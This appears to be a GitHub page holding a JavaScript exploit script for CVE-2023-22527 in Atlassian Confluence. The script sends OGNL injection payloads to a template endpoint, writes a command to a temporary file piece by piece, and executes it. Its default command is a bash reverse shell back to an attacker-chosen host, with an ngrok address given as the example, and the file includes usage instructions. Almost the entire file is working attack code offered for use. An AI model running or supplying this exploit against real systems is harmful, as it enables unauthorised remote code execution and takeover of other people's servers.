-
Notifications
You must be signed in to change notification settings - Fork 5
/
exploit-CVE-2023-22527.js
90 lines (77 loc) · 3.56 KB
/
exploit-CVE-2023-22527.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
function chunkLeft(str, size = 3) {
if (typeof str === 'string') {
const length = str.length
const chunks = Array(Math.ceil(length / size))
for (let i = 0, index = 0; index < length; i++) {
chunks[i] = str.slice(index, index += size)
// patch
if (chunks[i][chunks[i].length - 1] == '%') {
chunks[i] += str.slice(index, index += 2)
} else if (chunks[i][chunks[i].length - 2] == '%') {
chunks[i] += str.slice(index, index += 1)
}
}
return chunks
}
}
// bun exploit-CVE-2023-22527.js --target https://xxx/ --lhost 0.tcp.ap.ngrok.io --lport 12159 --cmd whoami
// Shell script location? See:
// /opt/atlassian/confluence/confluence/500page.jsp
// https://xxx/500page.jsp
import { parseArgs } from "util"
const args = parseArgs({
args: Bun.argv,
options: {
lhost: {
type: 'string',
},
lport: {
type: 'string',
},
cmd: {
type: 'string',
},
target: {
type: 'string',
},
},
strict: true,
allowPositionals: true,
})
if (!args.values.target || (!args.values.cmd && (!args.values.lhost || !args.values.lport))) {
console.error(`Usage: bun`, Bun.main, `--target http://target [--cmd 'whoami'] [--lhost 0.tcp.ap.ngrok.io --lport 12169]`)
process.exit(1)
}
const target = (new URL(args.values.target, 'http://a')).origin
const cmd = args.values.cmd || `/bin/bash -i >& /dev/tcp/${args.values.lhost}/${args.values.lport} 0>&1`
const filepath = '/tmp/a'
const headerName = 'X-RespText'
const defaultOpts = {
tls: { rejectUnauthorized: false },
method: 'POST',
headers: {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
},
}
const parts = chunkLeft(encodeURIComponent(cmd), 33 - 2/* reserve for extra char */)
// first, truncate file
console.log('[info] truncating')
console.log(await fetch(target + '/template/aui/text-inline.vm', {
body: `label=\\u0027%2b#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.p[0],{})%2b\\u0027&[email protected]@getResponse().setHeader('${headerName}',(new+java.io.PrintWriter(new+java.io.FileWriter('${filepath}',false))).printf('','').checkError())`,
...defaultOpts,
}).then(r => r.headers.get(headerName)))
// append parts
for (const p of parts) {
console.log('[info] writing:', p)
console.log(await fetch(target + '/template/aui/text-inline.vm', {
body: `label=\\u0027%2b#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.p[0],{})%2b\\u0027&[email protected]@getResponse().setHeader('${headerName}',(new+java.io.PrintWriter(new+java.io.FileWriter('${filepath}',true))).printf('${p}','').checkError())`,
...defaultOpts,
}).then(r => r.headers.get(headerName)))
}
// execute file
console.log('[info] executing')
console.log(await fetch(target + '/template/aui/text-inline.vm', {
body: `label=\\u0027%2b#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.p[0],{})%2b\\u0027&[email protected]@getResponse().setHeader('${headerName}',(new+freemarker.template.utility.Execute()).exec({"bash ${filepath}"}))`,
...defaultOpts,
}).then(r => r.headers.get(headerName)))